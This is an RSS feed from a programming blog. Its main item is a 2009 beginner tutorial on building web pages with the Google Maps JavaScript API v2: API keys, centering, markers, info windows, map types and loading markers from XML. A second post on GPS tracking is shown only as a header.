<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; Google Map</title>
	<atom:link href="http://www.dijexi.com/tag/google-map/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Developing Web Application with Google Map API</title>
		<link>http://www.dijexi.com/2009/07/developing-web-application-with-google-map-api/</link>
		<comments>http://www.dijexi.com/2009/07/developing-web-application-with-google-map-api/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 14:49:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google Map]]></category>
		<category><![CDATA[GPS Tracking System]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/developing-web-application-with-google-map-api/</guid>
		<description><![CDATA[Image by Telendro via Flickr Setup API Key In order to be able to utilize Google Map API for our web application, we need to get the API Key. It can be obtained for free from Google website. This Key will be valid for one URL only, so each time we move the application to [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div class="zemanta-img" style="margin: 1em; display: block; float: right"><a href="http://www.flickr.com/photos/23946824@N00/27860997"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" src="http://farm1.static.flickr.com/21/27860997_926e66c4bd_m.jpg" alt="Google Maps Hybrid" /></a></p>
<p class="zemanta-img-attribution" style="font-size: 0.8em">Image by <a href="http://www.flickr.com/photos/23946824@N00/27860997">Telendro</a> via Flickr</p>
</div>
<h2>Setup <a class="zem_slink" title="Application programming interface" rel="wikipedia" href="http://en.wikipedia.org/wiki/Application_programming_interface">API</a> Key</h2>
<p>In order to be able to utilize <a class="zem_slink" title="Google" rel="homepage" href="http://google.com/">Google</a> Map API for our web application, we need to get the API Key. It can be obtained for free from Google website. This Key will be valid for one <a class="zem_slink" title="Uniform Resource Locator" rel="wikipedia" href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">URL</a> only, so each time we move the application to another server, we need to obtain a new key for that server URL.</p>
<p>The Key can be obtained from this URL:</p>
<p><a href="http://www.google.com/apis/maps/signup.html">http://www.google.com/apis/maps/signup.html</a></p>
<p>Then, a page similar to the following will appear:</p>
<p><span id="more-655"></span></p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/GoogleAPIKeygeneratepage.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Google API Key generate page" src="http://www.dijexi.com/wp-content/uploads/2009/07/GoogleAPIKeygeneratepage_thumb.png" border="0" alt="Google API Key generate page" width="504" height="250" /></a></p>
<p>Next, to get a key for your URL:</p>
<ul>
<li>Enter your URL website, the URL your web application using Google Map API will reside, at the <strong>My <a class="zem_slink" title="Website" rel="wikipedia" href="http://en.wikipedia.org/wiki/Website">web site</a> URL</strong> column, for example <a href="http://localhost/gmaptest">http://localhost/gmaptest</a>. Note: You need to get an API key for each URL for your application.</li>
<li>Click the <strong>Generate API Key</strong> button. Save the key which will be in the form berupa XXX encrypted character. This Key will be used at the initialization step of the Google Map at your application which will be valid for the URL you register.</li>
</ul>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/ThegeneratedAPIKey.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="The generated API Key" src="http://www.dijexi.com/wp-content/uploads/2009/07/ThegeneratedAPIKey_thumb.png" border="0" alt="The generated API Key" width="504" height="250" /></a></p>
<h2>Start Creating Application with Google Map</h2>
<p>Create a new <a class="zem_slink" title="HTML" rel="wikipedia" href="http://en.wikipedia.org/wiki/HTML">HTML</a> file, say <strong>test-01.html</strong>. Type the following code on that file:</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;<br />
&nbsp; &nbsp;&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
&lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;amp;amp;v=2&amp;amp;amp;amp;key=abc&quot;<br />
&nbsp; &nbsp;type=&quot;text/javascript&quot;&gt;&lt;/script&gt;<br />
&lt;script type=&quot;text/javascript&quot;&gt;<br />
//CDATA[<br />
var map = null;<br />
function load()<br />
{<br />
&nbsp; if (GBrowserIsCompatible())<br />
&nbsp; {<br />
&nbsp; &nbsp; map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp; map.setCenter(new GLatLng(-6.8790, 107.63520), 12);<br />
&nbsp; }<br />
}<br />
//]]&gt;<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot;&gt;<br />
&nbsp; &lt;div id=&quot;map&quot; style=&quot;width: 400px; height: 200px&quot;&gt;Loading&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>The above code was actually just a standard HTML code with Javascript.</p>
<p>All function that is needed to access and manipulate Google Map is stored online at Google server and can only be retrieved when we already have the key for the URL where the file is located. This is done at line 6. You need to modify the key=abc code, change abc to be you key obtained at the registration step at Google Map. If the key is not correct the the access to the Google Map functions will failed.</p>
<p>There is a Javascript function called load() which will be invoked at the time the HTML page was completely downloaded by the browser.</p>
<p>This load() function is used to initialize the Google Map:</p>
<ul>
<li>At line 15, checking whether the browser can display Google Map or not. If it does then contunui to the next initialization process. The Function GbrowserIsCompatible() is used for this purpose, and is a part of the Google Map API.</li>
<li>At line 17, we define an object variable called map which will represent the Google Map class, the GMap2(). This Object was initialized to use a DIV element that later will contain the map provided by Google Map. This is done with the parameter used at the javascript function document.getElementById(&#8220;map&#8221;). That means that we should have a DIV element called map later.</li>
</ul>
<p>At line 18 setCenter() method of the map object variable is invoked. This Method is used to determine the center point for the map display. It&#8217;s parameter are the coordinate of the center point and the zoom level. The center point coordinate was previously defined using the GLatLon() object that have two parameter latitude and longitude of the coordinate. The zoom level is an integer value that determine how deep the zoom level is for the map display. In this case we use level 12.</p>
<p>At line 25 we can see the definition of the HTML BODY tag that will call the javascript function load() that has already defined before.</p>
<p>At line 26 there is the definition of HTML DIV tag called map which will be used by the Google Map object to display the map. We can modify the size by changing the width and height of the style attribute. The most important thing here is that the id attribute must be the same as the one called at the initialization of the  Google Map object at line 17 above.</p>
<p>When everything was correct, then you will see something like this when the above file is opened in a browser window.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewAplikasiGoogleMap.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Preview Aplikasi Google Map" src="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewAplikasiGoogleMap_thumb.png" border="0" alt="Preview Aplikasi Google Map" width="504" height="344" /></a></p>
<h2>Centering a map at a coordinate</h2>
<p>To move the center point of the Google Map we can call the method setCenter(). The parameter for the method are the new coordinate we want as the new center point and the new zoom level.</p>
<p>The center point coordinate must be an object of type GLatLng that can be created easily using the GLatLng() object. As in the previous example, the parameter for this GLatLng() object are the coordinate in lattitude and longitude. The return value of this object can be stored in a variable of type GLatLng. The Object variable of this type can be used directly as the parameter for the setCenter() method.</p>
<p>The next parameter of setCenter() method is the integer value of zoom level . This parameter determined how deep the map will be displayed. The bigger the value the the deeper the map will be displayed. This value starts from 0 (display the earth) to 19 (detailed road map level).</p>
<p>For example:<br />
[js]<br />
var point = new GLatLng(-6.8790, 107.63520);<br />
map = new GMap2(document.getElementById(&#8220;map&#8221;));<br />
map.setCenter(point, 12);<br />
[/js]</p>
<h2>Adding Marker</h2>
<p>Marker is a symbol or icon that can be placed on top of Google Map. An external image file or a deafult icon provided by Google Map can be used for the icon.</p>
<p>To put a marker on top of Google Map, we need to create an object variable of type GMarker.</p>
<p>The Parameter for that GMarker() function was the coordinate where the marker will be plotted. This Parameter must be in type of GLatLng that can be created by GLatLng() as we have done before.</p>
<p>After the Marker object was successfully created, the the object is used as a parameter of the map Google Map addOverlay() method. This Method will show a marker icon at the coordinate specified.</p>
<p>As an example, create a new file called <strong>test-02.html</strong> like the following.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;<br />
&nbsp; &nbsp;&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;<br />
&nbsp; &nbsp;xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot;&gt;<br />
&lt;head&gt;<br />
 &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
 &lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;sensor=false&amp;amp;amp;key=abc&quot;&gt;<br />
&nbsp;&lt;/script&gt;<br />
 &lt;script type=&quot;text/javascript&quot;&gt;<br />
 function load() {<br />
&nbsp;  if (GBrowserIsCompatible()) {<br />
&nbsp;   &nbsp;var map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp;  map.setCenter(new GLatLng(-6.8790, 107.63520), 13);<br />
&nbsp; &nbsp;  var point = new GLatLng(-6.8790, 107.63520);<br />
&nbsp; &nbsp;  map.addOverlay(new GMarker(point));<br />
  &nbsp;}<br />
 }<br />
 &lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot; style=&quot;font-family: Arial;border: 0 none;&quot;&gt;<br />
&nbsp;  &lt;div id=&quot;map&quot; style=&quot;width: 500px; height: 300px&quot;&gt;&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>When everything was correct, then you will see something like this when the above file is opened in a browser window.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewMenambahMarker.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Preview Menambah Marker" src="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewMenambahMarker_thumb.png" border="0" alt="Preview Menambah Marker" width="466" height="511" /></a></p>
<h2>Adding Marker with Information Box</h2>
<p>A Marker can be displayed with an information box that usually contains the detailed information about the marker. This can be done by calling the openInfoWindowHtml() method of the map object when defined.</p>
<p>The Paremeter for this method is the description to be displayed at the box in HTML code.</p>
<p>As an example, create a new file called <strong>test-03.html</strong> like the following.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html <span class="kw2">PUBLIC</span> <span class="st0">&quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span><br />
&nbsp; &nbsp;<span class="st0">&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;</span>&gt;<br />
&lt;html xmlns=<span class="st0">&quot;http://www.w3.org/1999/xhtml&quot;</span><br />
&nbsp; &nbsp;xmlns:v=<span class="st0">&quot;urn:schemas-microsoft-com:vml&quot;</span>&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=<span class="st0">&quot;content-type&quot;</span> content=<span class="st0">&quot;text/html; charset=utf-8&quot;</span>/&gt;<br />
&lt;script src=http:<span class="co1">//maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;sensor=false&amp;amp;amp;key=abc&gt;</span><br />
&lt;/script&gt;<br />
&lt;script type=<span class="st0">&quot;text/javascript&quot;</span>&gt;<br />
<span class="kw2">function</span> load<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>GBrowserIsCompatible<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp;<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw2">var</span> map = <span class="kw2">new</span> GMap2<span class="br0">&#40;</span>document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;map&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; map.<span class="me1">setCenter</span><span class="br0">&#40;</span><span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><span class="nu0">-6.8790</span>, <span class="nu0">107.63520</span><span class="br0">&#41;</span>, <span class="nu0">13</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw2">var</span> point = <span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><span class="nu0">-6.8790</span>, <span class="nu0">107.63520</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; map.<span class="me1">addOverlay</span><span class="br0">&#40;</span><span class="kw2">new</span> GMarker<span class="br0">&#40;</span>point<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; map.<span class="me1">openInfoWindow</span><span class="br0">&#40;</span>map.<span class="me1">getCenter</span><span class="br0">&#40;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; document.<span class="me1">createTextNode</span><span class="br0">&#40;</span><span class="st0">&quot;halo aku disini&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body <span class="kw3">onload</span>=<span class="st0">&quot;load()&quot;</span> <span class="kw3">onunload</span>=<span class="st0">&quot;GUnload()&quot;</span> style=<span class="st0">&quot;font-family: Arial;border: 0 none;&quot;</span>&gt;<br />
&nbsp; &nbsp;&lt;div id=<span class="st0">&quot;map&quot;</span> style=<span class="st0">&quot;width: 500px; height: 300px&quot;</span>&gt;&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>When everything was correct, then you will see something like this when the above file is opened in a browser window.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/MenambahMarkerdenganKotakInformasi.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Menambah Marker dengan Kotak Informasi" src="http://www.dijexi.com/wp-content/uploads/2009/07/MenambahMarkerdenganKotakInformasi_thumb.png" border="0" alt="Menambah Marker dengan Kotak Informasi" width="504" height="444" /></a></p>
<h2>Memilih Jenis Map</h2>
<p>Google Map has several type of map defined by calling the setMapType() method:</p>
<ul>
<li>G_NORMAL_MAP This map type (which is the default) displays a normal street map.</li>
<li>G_SATELLITE_MAP This map type displays satellite images. All places in this earth has been captured by satellite and can be accessed through Google Map. But several places are still in low resolution while other places are already in high resolution.</li>
<li>G_HYBRID_MAP This map type displays a transparent layer of major streets       on satellite images.</li>
<li>G_DEFAULT_MAP_TYPES An array of the first three predefined map types described       above (G_NORMAL_MAP, G_SATELLITE_MAP, and G_HYBRID_MAP).</li>
<li>G_PHYSICAL_MAP This map type displays maps with physical features such       as terrain and vegetation. This map type is not displayed       within map type controls by default.</li>
</ul>
<p>One thing that we must consider is that the calling of thus method must be done after the calling of setCenter() or zoom() method.</p>
<p>As an examlpe, create a new file calles <strong>test-05.html </strong>with the following source code.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;<br />
&nbsp; &nbsp;&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;<br />
&nbsp; &nbsp;xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
&lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;sensor=false&amp;amp;amp;key=abc&quot;&gt;<br />
&lt;/script&gt;<br />
&lt;script type=&quot;text/javascript&quot;&gt;<br />
&nbsp; &nbsp;function load() {<br />
&nbsp; &nbsp; &nbsp;if (GBrowserIsCompatible()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; var map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.setCenter(new GLatLng(-6.8790, 107.63520), 13);<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.setMapType(G_SATELLITE_MAP);<br />
&nbsp; &nbsp; &nbsp;}<br />
&nbsp; &nbsp;}<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot; style=&quot;font-family: Arial;border: 0 none;&quot;&gt;<br />
&nbsp; &nbsp;&lt;div id=&quot;map&quot; style=&quot;width: 500px; height: 300px&quot;&gt;&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>We can change the line 19 change it to the type of  G_NORMAL_MAP,  G_SATELITTE_TYPE_MAP or G_HYBRID_MAP. For the type of  G_NORMAL_MAP, for some places if we zoom too deep we will not see any information. This is because Google Map still does not have the requested map for that area.</p>
<p>Below is an example of map with hybrid type.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewMapdenganTypesatelite.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Preview Map dengan Type satelite" src="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewMapdenganTypesatelite_thumb.png" border="0" alt="Preview Map dengan Type satelite" width="504" height="408" /></a></p>
<h2>Adding Markers from Data</h2>
<p>Marker can be added to Google Map dinamically from a data source, for example in case we have a data file containing coordinate of markers to be displayed on top of Google Map.</p>
<p>For that purpose we need to call the GDownloadUrl() function used to download the data from an URL of a file containing XML data. The XML data received will be parsed by Google Map GXml object. This Object has a method parse() that can be used to do the XML data parsing.</p>
<p>After the parsing, we will get the XML data ready to be processed further.</p>
<p>For example, create a new file called <strong>test-06.html </strong>with the following source code.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;<br />
&nbsp; &nbsp;&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
&lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;key=abc&quot;<br />
&nbsp; &nbsp;type=&quot;text/javascript&quot;&gt;&lt;/script&gt;<br />
&lt;script type=&quot;text/javascript&quot;&gt;<br />
//&lt;![CDATA[<br />
var map = null;<br />
function load()<br />
&nbsp; &nbsp;{<br />
&nbsp; &nbsp;if (GBrowserIsCompatible())<br />
&nbsp; &nbsp;{<br />
&nbsp; &nbsp; &nbsp; map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp; &nbsp; map.setCenter(new GLatLng(-6.8790, 107.63520), 9);<br />
&nbsp; &nbsp; &nbsp; map.setMapType(G_HYBRID_TYPE);<br />
&nbsp; &nbsp; &nbsp; GDownloadUrl(&quot;data.xml&quot;, function(data, responseCode) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; var xml = GXml.parse(data);<br />
&nbsp; &nbsp; &nbsp; &nbsp; var markers = xml.documentElement.getElementsByTagName(&quot;marker&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (var i = 0; i &lt; markers.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var point = new GLatLng(<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;parseFloat(markers[i].getAttribute(&quot;lat&quot;)),<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;parseFloat(markers[i].getAttribute(&quot;lng&quot;)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;map.addOverlay(new GMarker(point));<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp;});<br />
&nbsp; &nbsp;}<br />
&nbsp;}<br />
//]]&gt;<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot;&gt;<br />
&nbsp; &nbsp;&lt;div id=&quot;map&quot; style=&quot;width: 400px; height: 200px&quot;&gt;Loading&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>At line 21, we run GDownloadUrl() function. This function has two parameter, the URL of the file to be downloaded, in this case data.xml and the function to handle the data and the responseCode received after downloading the data. Both of the data are already defined and can be consumed as the parameter of that handler function so they can be processed inside the function.</p>
<p>At line 22 we call the parse() method of the GXml object. The result of the parsing of the XML is stored in the xml variable which is an object that has an XML data structure and is ready to be read by other process. This process is, for example, easily searching for a key and value of an element.</p>
<p>At line 23, we read an XML element called marker. This Element must be exists on the XML data downloaded before, which was the data.xml. The result of the reading is stored on an array called markers. This is a simple javascript array in which the elements can be easily counted with the length property, or accessed by index, for example to access the first element we will use the notation markers[0].</p>
<p>At line 24, we do a loop beginning from 0 to the size of the element of markers array. For each iteration of the loop, we create an object called point of type  GLatLng with the coordinate of lattitude and longitude taken from the XML data. That information is obtained from markers array element by calling the getAttribute() method. The Attribute we read for each element are lat and lng attribut. The parseFloat() function us used to convert string data to float data needed to create an object of type GLatLng.</p>
<p>At line 28, after the point object is created, then it is used as a parameter for creating a new object of GMarker. This GMarker object is then used as a parameter for addOverlay() method of the Google Map&#8217;s map object. This will cause Google Map displays a new marker at the coordinate specified by point object.</p>
<p>After the iteration is done (the size of the markers array elements count), the at line 30 we call setCenter() method of map object to set the center point of out Google Map display.</p>
<p>Below is the example of the above data.xml used for the process:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="sc3"><span class="re1">&lt;markers<span class="re2">&gt;</span></span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;marker</span> <span class="re0">lat</span>=<span class="st0">&quot;-6.20&quot;</span> <span class="re0">lng</span>=<span class="st0">&quot;107.40&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;marker</span> <span class="re0">lat</span>=<span class="st0">&quot;-6.32&quot;</span> <span class="re0">lng</span>=<span class="st0">&quot;107.51&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;marker</span> <span class="re0">lat</span>=<span class="st0">&quot;-6.25&quot;</span> <span class="re0">lng</span>=<span class="st0">&quot;107.60&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;marker</span> <span class="re0">lat</span>=<span class="st0">&quot;-6.36&quot;</span> <span class="re0">lng</span>=<span class="st0">&quot;107.66&quot;</span> <span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;/markers<span class="re2">&gt;</span></span></span></div>
<p>When everything was correct, then you will see something like this when the above file is opened in a browser window.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/MenempatkanMarkerdenganDatadariXML.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Menempatkan Marker dengan Data dari XML" src="http://www.dijexi.com/wp-content/uploads/2009/07/MenempatkanMarkerdenganDatadariXML_thumb.png" border="0" alt="Menempatkan Marker dengan Data dari XML" width="504" height="540" /></a></p>
<h2>Moving the Markers</h2>
<p>Sometimes we need to move the position of an existing marker. By the time of this writing, Google Map does not provide this facility yet for example marker.move() or map.moveMarker().</p>
<p>For this purpose, we need to do the following step:</p>
<ol>
<li>deleting all existing markers by using clearOverlays() method of Google Map map object.</li>
<li>creating new markers that replace the previously deleted markers so we will get an effect of markers movement from one coordinate to another</li>
</ol>
<p>Below is an example source code of markers movement.</p>
<div class="dean_ch" style="white-space: wrap;">map.clearOverlays();<br />
var marker = new GMarker(map.getCenter());<br />
map.addOverlay(marker);</div>
<p>We have discussed the basics of programming web application using Google Map API. See you on the next article about creating GPS tracking application using Google Map API.</p>
<p>Refferences:</p>
<ul>
<li>Google Map API Documentation: <a title="http://code.google.com/apis/maps/documentation/introduction.html" href="http://code.google.com/apis/maps/documentation/introduction.html">http://code.google.com/apis/maps/documentation/introduction.html</a></li>
<li>Google Map API Playground: <a href="http://code.google.com/apis/ajax/playground">http://code.google.com/apis/ajax/playground</a></li>
</ul>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com/">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com/">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div class="zemanta-related">
<h6 class="zemanta-related-title" style="font-size: 1em">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://www.techcrunch.com/2009/06/19/google-maps-finally-gives-me-the-feature-ive-wanted-from-day-1-whats-here/">Google Maps Finally Gives Me The Feature I&#8217;ve Wanted From Day 1: What&#8217;s Here? </a>(techcrunch.com)</li>
<li class="zemanta-article-ul-li"><a href="http://www.readwriteweb.com/archives/google_wants_to_make_the_web_faster_debuts_speed_n.php">Google Wants to Make the Web Faster, Debuts Speed (Not the Drug, the Developer Site) </a>(readwriteweb.com)</li>
<li class="zemanta-article-ul-li"><a href="http://google-code-updates.blogspot.com/2009/06/google-io-session-videos-on-building.html">Google I/O: Session videos on building apps using the AJAX and Data APIs </a>(google-code-updates.blogspot.com)</li>
<li class="zemanta-article-ul-li"><a href="http://www.mt-soft.com.ar/2009/06/25/google-city-tours/">Google City Tours </a>(mt-soft.com.ar)</li>
<li class="zemanta-article-ul-li"><a href="http://www.shankee.com/2009/06/google-secrets-unleash-power-of.html">Google secrets unleash the power of searching </a>(shankee.com)</li>
</ul>
</div>
<div class="zemanta-pixie" style="margin-top: 10px; height: 15px;"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/bfbe0adf-c3a6-460a-b09f-729ed3a7bf39/"><img class="zemanta-pixie-img" style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" src="http://img.zemanta.com/reblog_e.png?x-id=bfbe0adf-c3a6-460a-b09f-729ed3a7bf39" alt="Reblog this post [with Zemanta]" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/10/google-does-not-use-the-keywords-meta-tags-in-web-ranking/" rel="bookmark">Google does not use the keywords meta tags in web ranking</a></li><li><a href="http://www.dijexi.com/2010/11/engaging-customers-with-facebook-applications/" rel="bookmark">Engaging Customers with Facebook Applications</a></li><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2009/09/microsoft-excel-for-online-marketers/" rel="bookmark">Microsoft Excel For Online Marketers</a></li><li><a href="http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/" rel="bookmark">Developing Web Based POS Application Using Ruby on Rails on Debian 5</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fdeveloping-web-application-with-google-map-api%2F&amp;linkname=Developing%20Web%20Application%20with%20Google%20Map%20API"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/developing-web-application-with-google-map-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GPS Tracking Monitoring Application with Google Map</title>
		<link>http://www.dijexi.com/2009/07/gps-tracking-monitoring-application-with-google-map/</link>
		<comments>http://www.dijexi.com/2009/07/gps-tracking-monitoring-application-with-google-map/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 07:21:59 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Google Map]]></category>
		<category><![CDATA[GPS Tracking System]]></category>
		<category><![CDATA[gps tracking]]></category>
		<category><![CDATA[n95]]></category>
		<category><![CDATA[nokia]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/gps-tracking-monitoring-application-with-google-map/</guid>
